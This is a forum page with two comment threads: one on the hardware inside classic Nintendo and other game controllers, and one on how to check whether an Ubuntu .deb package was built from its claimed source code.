The main place you'll encounter problems playing legally on new equipment is with games where licensing issue have cropped up—we'll possibly never see a re-release of Goldeneye for the N64, for example, and some newer versions of games have been stripped of their original soundtracks (Crazy Taxi).

<comment><USER13> Incidental to the article, I know, but there's a wrinkle in Crazy Taxi's soundtrack story: for whatever reasons, whilst the console ports feature a new soundtrack, the iOS and Android versions retain the original.

</comment></comment></comment><comment><USER14> I love the fact that the NES controller's PCB has free-flowing, curvy copper tracks!

<comment><USER15> Beautiful, isn't it? Although I don't regret that things have gotten smaller and more efficient, there's something wonderful about being able to take in the whole PCB layout in a glance - and have it be actually nice-looking as well!

</comment></comment><comment><USER16> good article, except none of the chips in any of the controls are microcontrollers. looks like the author is confusing IC with microcontroller. he even correctly points out that the NES one is a shift register.

<comment><USER8> In his defence, most people starting with tinkering nowadays start off with something like an Arduino (8-bit or even 32-bit micro) and there's not much besides the micro on those boards... which easily explains the confusion about the nomenclature, mixing up the subset (µC) with the superset (IC).

</comment></comment><comment><USER17> Little known fact: with the exception of select/start, NES and Game Boy buttons are interchangeable. If you want a nice tight game boy control, replace the D-pad with an NES one. If you want the best-feeling NES buttons ever, replace the concave A/B buttons with the Game Boy's convex ones.

(Source: I took apart every nintendo console I own for sport/boredom when I was a kid.)

</comment><comment><USER18> A both loving and detailed look into the internals of controllers. Fun read!

</comment><comment><USER19> Interesting how Nintendo went with that IR setup for their analog joystick when everyone else (MS and Sony to 3rd party controller manufacturers) went with two potentiometers.

Maybe Nintendo's famous insularity is showing in their hardware designs as well as software?

<comment><USER20> I think they just implemented the mechanism that was nearly universal at the time for a computer mouse. It's not like they had a lot of precedent to follow for compact joysticks.

</comment></comment><comment><USER21> > The benefit of [the SNES bumper] button design vs a standard push button is > that it has a much longer life and it also gives a soft, yet very tactile > button feel.

Contrary anecdote: the bumpers on my SNES controller lost their resiliency before the face buttons.

<comment><USER22> I have an good/odd memory of that great rubbery feel and push the SNES bumpers had. It's cool to see the inside of it, although I'm surprised I never did having thrown said controller against the wall so many times because of how hard Super Star Wars was to beat.

</comment></comment><comment><USER15> Nice to see inside the SNES controller. I've had the same two for some 25 years or so and they work (as far as I can tell) as well as they did out of the box. The console too, though it's missing a big chunk off the chassis in the back.

</comment><comment><USER23> Can we add a "(part 1)" to the title? And when the next instalment hits HN, let it come with a "(part 2)" in the title as well.

</comment><comment><USER24> A microcontroller seems like an overkill for a NES controller...

<comment><USER25> As some other commenters (and the photo, contrary to body text) have pointed out, it's actually a shift register.</comment></comment>


Ask HN: how do I check if the package was built from a particular source? - <AUTHOR>

So, say I have an ubuntu .deb package with binary files in it and I have the source files from which those binaries were built both downloaded from the repo. How do I check if those binaries were built from the exact same source they claim to be built from? CRC seems to only provide a way of checking the summ for the package downloaded, so that I'd be sure nothing happened during the download - but, as far as I understand, it has nothing to do with the sources.<p>(not paranoid, just curious). <comment><USER2> You can't really tell for sure. The resulting binaries will depend heavily on deterministic factors such as the exact versions of build tools and build OS used, and may also depend on non-deterministic factors such as the order of execution of different threads in the build process affecting orderings in the resulting binaries.

With packages, the easiest way to eliminate doubt is to build the binary packages from the source packages yourself. This is relatively straightforward as source packages contain all the information needed (options etc) to make the build automation work.

You should also read Ken Thompson's "Reflections on Trusting Trust" (<http://cm.bell-labs.com/who/ken/trust.html>), which shows that even if the binaries were built from the exact source they claim, you still can't trust them unless you can also trust the toolchain and its entire ancestry.

<comment><AUTHOR> Thanks for the answer and especially for the link and a short annotation on it. Exciting.

</comment></comment><comment><USER3> The control data (eg unzip the archive and view or use "dpkg-deb -I /path/to/package.deb") gives you the version number which should match. This should also match with changelog details from changelog.gz under the data part of the deb (but not all packages have this). Both of these are easily forged.

To me, a novice, it appears that the best bet is to use signed/checksummed packages from a reputable source; I don't think you can tell beyond this.

To be able to recompile and compare the binaries you'd need to know which compile-time options were used.</comment>